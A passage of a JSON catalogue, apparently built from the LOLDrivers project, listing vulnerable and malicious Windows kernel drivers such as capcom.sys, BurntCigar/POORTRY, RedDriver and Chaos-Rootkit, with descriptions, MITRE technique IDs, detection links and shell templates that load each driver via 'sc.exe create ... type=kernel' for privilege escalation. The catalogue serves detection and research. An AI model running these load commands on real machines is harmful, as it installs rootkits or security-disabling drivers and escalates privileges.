      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BSMIx64.sys binPath=C:\\windows\\temp\\BSMIx64.sys type=kernel && sc.exe start BSMIx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bsmix64",
    "install": [
      {
        "method": "custom",
        "description": "Load BSMIx64.sys kernel driver",
        "commands": [
          "sc.exe create BSMIx64.sys binPath=C:\\windows\\temp\\BSMIx64.sys type=kernel && sc.exe start BSMIx64.sys"
        ]
      }
    ],
    "name": "BSMIx64.sys",
    "namespace": "windows:kernel:bsmix64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create burntcigar binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\burntcigar.sys type=kernel && sc.exe start burntcigar\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver burntcigar.sys\"\n\n# burntcigar.sys\n\nBurntCigar (aka POORTRY) is a malicious kernel-mode rootkit driver used by multiple ransomware groups including Cuba, BlackCat, Medusa, LockBit, and RansomHub. Designed to disable and remove EDR solutions by terminating security processes and deleting critical security software files. VMProtect-packed driver signed with stolen Blueone Technology certificate. Detected by 32.9% of AV engines. Facilitates ransomware deployment by rendering systems defenseless.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-burntcigar.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BurntCigar (aka POORTRY) is a malicious kernel-mode rootkit driver used by multiple ransomware groups including Cuba, BlackCat, Medusa, LockBit, and RansomHub. Designed to disable and remove EDR solutions by terminating security processes and deleting critical security software files. VMProtect-packed driver signed with stolen Blueone Technology certificate. Detected by 32.9% of AV engines. Facilitates ransomware deployment by rendering systems defenseless.",
    "execution": {
      "template": "sc.exe create burntcigar binPath=C:\\windows\\temp\\burntcigar.sys type=kernel && sc.exe start burntcigar",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-burntcigar",
    "install": [
      {
        "method": "custom",
        "description": "Load burntcigar.sys kernel driver",
        "commands": [
          "sc.exe create burntcigar binPath=C:\\windows\\temp\\burntcigar.sys type=kernel && sc.exe start burntcigar"
        ]
      }
    ],
    "name": "burntcigar.sys",
    "namespace": "windows:kernel:burntcigar",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7c5329b842cc3eaf1ec6c11b00e09a8c5e38ad14134b40a8bae3eda0a167a919"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      },
      {
        "label": "Reference",
        "url": "https://www.fortiguard.com/threat-signal-report/4920"
      },
      {
        "label": "Reference",
        "url": "https://securelist.com/cuba-ransomware/110533/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create bw.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\bw.sys type=kernel && sc.exe start bw.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bw.sys\"\n\n# bw.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bw.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create bw.sys binPath=C:\\windows\\temp\\bw.sys type=kernel && sc.exe start bw.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bw",
    "install": [
      {
        "method": "custom",
        "description": "Load bw.sys kernel driver",
        "commands": [
          "sc.exe create bw.sys binPath=C:\\windows\\temp\\bw.sys type=kernel && sc.exe start bw.sys"
        ]
      }
    ],
    "name": "bw.sys",
    "namespace": "windows:kernel:bw",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create bwrs.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\bwrs.sys type=kernel && sc.exe start bwrs.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bwrs.sys\"\n\n# bwrs.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bwrs.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create bwrs.sys binPath=C:\\windows\\temp\\bwrs.sys type=kernel && sc.exe start bwrs.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bwrs",
    "install": [
      {
        "method": "custom",
        "description": "Load bwrs.sys kernel driver",
        "commands": [
          "sc.exe create bwrs.sys binPath=C:\\windows\\temp\\bwrs.sys type=kernel && sc.exe start bwrs.sys"
        ]
      }
    ],
    "name": "bwrs.sys",
    "namespace": "windows:kernel:bwrs",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create bwrsh.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\bwrsh.sys type=kernel && sc.exe start bwrsh.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bwrsh.sys\"\n\n# bwrsh.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bwrsh.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create bwrsh.sys binPath=C:\\windows\\temp\\bwrsh.sys type=kernel && sc.exe start bwrsh.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bwrsh",
    "install": [
      {
        "method": "custom",
        "description": "Load bwrsh.sys kernel driver",
        "commands": [
          "sc.exe create bwrsh.sys binPath=C:\\windows\\temp\\bwrsh.sys type=kernel && sc.exe start bwrsh.sys"
        ]
      }
    ],
    "name": "bwrsh.sys",
    "namespace": "windows:kernel:bwrsh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create c.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\c.sys type=kernel && sc.exe start c.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver c.sys\"\n\n# c.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-c.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create c.sys binPath=C:\\windows\\temp\\c.sys type=kernel && sc.exe start c.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-c",
    "install": [
      {
        "method": "custom",
        "description": "Load c.sys kernel driver",
        "commands": [
          "sc.exe create c.sys binPath=C:\\windows\\temp\\c.sys type=kernel && sc.exe start c.sys"
        ]
      }
    ],
    "name": "c.sys",
    "namespace": "windows:kernel:c",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create c94f405c5929cfcccc8ad00b42c95083.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\c94f405c5929cfcccc8ad00b42c95083.sys type=kernel && sc.exe start c94f405c5929cfcccc8ad00b42c95083.sys\"\n\n# c94f405c5929cfcccc8ad00b42c95083.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-c94f405c5929cfcccc8ad00b42c95083.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create c94f405c5929cfcccc8ad00b42c95083.sys binPath=C:\\windows\\temp\\c94f405c5929cfcccc8ad00b42c95083.sys type=kernel && sc.exe start c94f405c5929cfcccc8ad00b42c95083.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-c94f405c5929cfcccc8ad00b42c95083",
    "install": [
      {
        "method": "custom",
        "description": "Load c94f405c5929cfcccc8ad00b42c95083.sys kernel driver",
        "commands": [
          "sc.exe create c94f405c5929cfcccc8ad00b42c95083.sys binPath=C:\\windows\\temp\\c94f405c5929cfcccc8ad00b42c95083.sys type=kernel && sc.exe start c94f405c5929cfcccc8ad00b42c95083.sys"
        ]
      }
    ],
    "name": "c94f405c5929cfcccc8ad00b42c95083.sys",
    "namespace": "windows:kernel:c94f405c5929cfcccc8ad00b42c95083",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create capcom.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\capcom.sys type=kernel && sc.exe start capcom.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver capcom.sys\"\n\n# capcom.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-capcom.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create capcom.sys binPath=C:\\windows\\temp\\capcom.sys type=kernel && sc.exe start capcom.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-capcom",
    "install": [
      {
        "method": "custom",
        "description": "Load capcom.sys kernel driver",
        "commands": [
          "sc.exe create capcom.sys binPath=C:\\windows\\temp\\capcom.sys type=kernel && sc.exe start capcom.sys"
        ]
      }
    ],
    "name": "capcom.sys",
    "namespace": "windows:kernel:capcom",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create capcom2.sys binPath=C:\\\\windows\\\\temp\\\\capcom2.sys type=kernel && sc.exe start capcom2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver capcom2.sys\"\n\n# capcom2.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-capcom2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-capcom2",
    "name": "capcom2.sys",
    "namespace": "windows:kernel:capcom2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CardIo binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CardIo64.sys type=kernel && sc.exe start CardIo\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CardIo64.sys\"\n\n# CardIo64.sys\n\nCardIo64.sys is a kernel driver from ICP DAS Co., LTD. (Taiwan), an industrial automation and I/O board manufacturer. The driver exposes arbitrary physical memory read/write via MmMapIoSpace, port I/O read/write (8/16/32-bit), and PCI bus data read/write via HalGetBusDataByOffset and HalSetBusDataByOffset. The driver is only 13KB and is also available in the KeServiceDescriptorTable/vulnerable-drivers repository on GitHub.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cardio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "CardIo64.sys is a kernel driver from ICP DAS Co., LTD. (Taiwan), an industrial automation and I/O board manufacturer. The driver exposes arbitrary physical memory read/write via MmMapIoSpace, port I/O read/write (8/16/32-bit), and PCI bus data read/write via HalGetBusDataByOffset and HalSetBusDataByOffset. The driver is only 13KB and is also available in the KeServiceDescriptorTable/vulnerable-drivers repository on GitHub.",
    "execution": {
      "template": "sc.exe create CardIo binPath=C:\\windows\\temp\\CardIo64.sys type=kernel && sc.exe start CardIo",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-cardio64",
    "install": [
      {
        "method": "custom",
        "description": "Load CardIo64.sys kernel driver",
        "commands": [
          "sc.exe create CardIo binPath=C:\\windows\\temp\\CardIo64.sys type=kernel && sc.exe start CardIo"
        ]
      }
    ],
    "name": "CardIo64.sys",
    "namespace": "windows:kernel:cardio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/310"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cg6kwin2ksys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cg6kwin2ksys.sys type=kernel && sc.exe start cg6kwin2ksys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cg6kwin2k.sys\"\n\n# cg6kwin2k.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cg6kwin2k.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create cg6kwin2ksys binPath= C:\\windows\\temp\\cg6kwin2ksys.sys type=kernel && sc.exe start cg6kwin2ksys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-cg6kwin2k",
    "install": [
      {
        "method": "custom",
        "description": "Load cg6kwin2k.sys kernel driver",
        "commands": [
          "sc.exe create cg6kwin2ksys binPath= C:\\windows\\temp\\cg6kwin2ksys.sys type=kernel && sc.exe start cg6kwin2ksys"
        ]
      }
    ],
    "name": "cg6kwin2k.sys",
    "namespace": "windows:kernel:cg6kwin2k",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create changsha binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\changsha.sys type=kernel && sc.exe start changsha\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver changsha\"\n\n# changsha\n\nMalicious rootkit masquerading as legitimate CrowdStrike Falcon Sensor driver (CSAgent.sys). Signed with stolen/expired Chinese certificate from 2015. Detected by 61.6% of AV engines as Rootkit.Win64.Agent and Trojan:Win64/AVTamper. Used to establish kernel-level persistence while evading detection by impersonating trusted security software.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-changsha.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Malicious rootkit masquerading as legitimate CrowdStrike Falcon Sensor driver (CSAgent.sys). Signed with stolen/expired Chinese certificate from 2015. Detected by 61.6% of AV engines as Rootkit.Win64.Agent and Trojan:Win64/AVTamper. Used to establish kernel-level persistence while evading detection by impersonating trusted security software.",
    "execution": {
      "template": "sc.exe create changsha binPath=C:\\windows\\temp\\changsha.sys type=kernel && sc.exe start changsha",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-changsha",
    "install": [
      {
        "method": "custom",
        "description": "Load changsha kernel driver",
        "commands": [
          "sc.exe create changsha binPath=C:\\windows\\temp\\changsha.sys type=kernel && sc.exe start changsha"
        ]
      }
    ],
    "name": "changsha",
    "namespace": "windows:kernel:changsha",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/06eccd102c9105957773b32538943531d9c39d0a504ceb3b9b155e97e3b0b134"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Chaos-Rootkit.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Chaos-Rootkit.sys type=kernel && sc.exe start Chaos-Rootkit.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Chaos-Rootkit.sys\"\n\n# Chaos-Rootkit.sys\n\nChaos-Rootkit is a x64 ring0 rootkit with process hiding, privilege escalation, and capabilities for protecting and unprotecting processes, work on the latest Windows versions.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-chaos-rootkit.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Chaos-Rootkit is a x64 ring0 rootkit with process hiding, privilege escalation, and capabilities for protecting and unprotecting processes, work on the latest Windows versions.",
    "execution": {
      "template": "sc.exe create Chaos-Rootkit.sys binPath=C:\\windows\\temp\\Chaos-Rootkit.sys type=kernel && sc.exe start Chaos-Rootkit.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-chaos-rootkit",
    "install": [
      {
        "method": "custom",
        "description": "Load Chaos-Rootkit.sys kernel driver",
        "commands": [
          "sc.exe create Chaos-Rootkit.sys binPath=C:\\windows\\temp\\Chaos-Rootkit.sys type=kernel && sc.exe start Chaos-Rootkit.sys"
        ]
      }
    ],
    "name": "Chaos-Rootkit.sys",
    "namespace": "windows:kernel:chaos-rootkit",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/ZeroMemoryEx/Chaos-Rootkit"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create chinese_cheat_driver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\chinese_cheat_driver.sys type=kernel && sc.exe start chinese_cheat_driver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver chinese_cheat_driver.sys\"\n\n# chinese_cheat_driver.sys\n\nchinese_cheat_driver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-chinese-cheat-driver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "chinese_cheat_driver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create chinese_cheat_driver binPath=C:\\windows\\temp\\chinese_cheat_driver.sys type=kernel && sc.exe start chinese_cheat_driver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-chinese-cheat-driver",
    "install": [
      {
        "method": "custom",
        "description": "Load chinese_cheat_driver.sys kernel driver",
        "commands": [
          "sc.exe create chinese_cheat_driver binPath=C:\\windows\\temp\\chinese_cheat_driver.sys type=kernel && sc.exe start chinese_cheat_driver"
        ]
      }
    ],
    "name": "chinese_cheat_driver.sys",
    "namespace": "windows:kernel:chinese-cheat-driver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CITMDRV_AMD64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CITMDRV_AMD64.sys     type=kernel && sc.exe start CITMDRV_AMD64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CITMDRV_AMD64.sys\"\n\n# CITMDRV_AMD64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-citmdrv-amd64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create CITMDRV_AMD64.sys binPath=C:\\windows\\temp\\CITMDRV_AMD64.sys     type=kernel && sc.exe start CITMDRV_AMD64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-citmdrv-amd64",
    "install": [
      {
        "method": "custom",
        "description": "Load CITMDRV_AMD64.sys kernel driver",
        "commands": [
          "sc.exe create CITMDRV_AMD64.sys binPath=C:\\windows\\temp\\CITMDRV_AMD64.sys     type=kernel && sc.exe start CITMDRV_AMD64.sys"
        ]
      }
    ],
    "name": "CITMDRV_AMD64.sys",
    "namespace": "windows:kernel:citmdrv-amd64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CITMDRV_IA64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CITMDRV_IA64.sys     type=kernel && sc.exe start CITMDRV_IA64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CITMDRV_IA64.sys\"\n\n# CITMDRV_IA64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-citmdrv-ia64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create CITMDRV_IA64.sys binPath=C:\\windows\\temp\\CITMDRV_IA64.sys     type=kernel && sc.exe start CITMDRV_IA64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-citmdrv-ia64",
    "install": [
      {
        "method": "custom",
        "description": "Load CITMDRV_IA64.sys kernel driver",
        "commands": [
          "sc.exe create CITMDRV_IA64.sys binPath=C:\\windows\\temp\\CITMDRV_IA64.sys     type=kernel && sc.exe start CITMDRV_IA64.sys"
        ]
      }
    ],
    "name": "CITMDRV_IA64.sys",
    "namespace": "windows:kernel:citmdrv-ia64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
